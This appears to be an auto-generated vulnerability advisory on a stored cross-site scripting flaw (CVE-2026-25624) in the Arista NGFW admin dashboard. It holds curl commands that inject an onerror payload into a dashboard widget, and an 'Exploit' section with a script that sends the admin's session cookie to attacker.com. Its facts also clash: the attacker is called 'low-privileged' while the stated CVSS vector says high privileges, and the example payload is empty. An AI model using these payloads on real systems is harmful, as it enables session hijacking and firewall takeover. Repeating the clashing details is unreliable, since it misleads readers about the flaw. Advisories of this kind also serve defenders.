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Intro (how CVE-2026-25624 works)
The Arista Edge Threat Management (Next Generation Firewall) web administrative interface contains a stored cross-site scripting vulnerability in its dashboard layout component. User‑supplied variables—such as dashboard widget names, custom labels, or URL parameters—are not properly sanitized before being echoed back to the administrative browser session. An attacker with existing low‑privileged administrative access (e.g., a read‑only admin or a compromised operator account) can inject malicious JavaScript payloads into fields that persist on the dashboard. When a higher‑privileged administrator (or any other admin viewing the same dashboard) loads the affected panel, the payload executes in the context of their session. The vulnerability arises because the application fails to validate or encode output for these specific UI variables. For example, a widget containing `` is stored in the backend configuration and later rendered inline without HTML escaping. The attack vector is network‑based (AV:N), requires low attack complexity (AC:L), but demands high privileges (PR:H) and user interaction (UI:R) – the victim admin must view the infected dashboard. Once triggered, the XSS can extract session cookies, perform arbitrary authenticated actions (e.g., modify firewall rules or export configs), or deface the management console. The CVSS vector is CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L, resulting in a base score of 5.7 (MEDIUM). Confidentiality impact is high (C:H) due to potential data theft, while integrity and availability are low (I:L/A:L). Arista confirmed the flaw in versions prior to the yet‑unreleased patch. No public exploit existed at the time of disclosure, but proof‑of‑concept code can be constructed using a POST request to the dashboard configuration endpoint.
DailyCVE Form:
Platform: Arista NGFW
Version: < fixed
Vulnerability : Admin XSS
Severity: 5.7 MEDIUM
date: 2026-06-05
Prediction: 2026-07-20
What Undercode Say:
Analytics – Log extraction and payload verification can be performed via the following bash commands to test for the vulnerability:
Extract dashboard configuration (requires authenticated admin session)
curl -k -X GET "https://target_firewall/api/dashboard/layout" \
-H "Cookie: session=YOUR_ADMIN_COOKIE" | jq '.widgets[].'
Inject XSS payload into a new widget
curl -k -X POST "https://target_firewall/api/dashboard/widget" \
-H "Cookie: session=YOUR_ADMIN_COOKIE" \
-H "Content-Type: application/json" \
-d '{"name":"<img src=x onerror=alert(1)>","type":"traffic_chart"}'
Verify stored payload by reloading dashboard
curl -k -X GET "https://target_firewall/ui/dashboard" \
-H "Cookie: session=YOUR_ADMIN_COOKIE" | grep -i "onerror"
Exploit:
To exploit CVE-2026-25624, an attacker with low‑privileged admin access (e.g., “monitor” role) crafts a dashboard widget containing <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. When a full admin views the dashboard, the script sends the session cookie to the attacker’s server, allowing session hijacking. Alternatively, the payload can modify firewall policies by sending authenticated API requests from the victim’s browser.
Protection:
Upgrade to the patched version once released (expected July 2026). As a workaround, disable custom dashboard widgets for low‑privileged accounts via the role‑based access control (RBAC) policy. Apply input validation on all user‑supplied strings in the dashboard layout endpoint, and enable output encoding (HTML entity escaping) for any data rendered in the administrative UI.
Impact:
Successful exploitation leads to administrative session hijacking, unauthorized configuration changes (e.g., disabling security rules, creating allow‑all policies), exfiltration of sensitive firewall logs and VPN credentials, and persistent defacement of the management console. Because the firewall controls network traffic, an attacker could pivot to internal systems by modifying NAT or routing rules.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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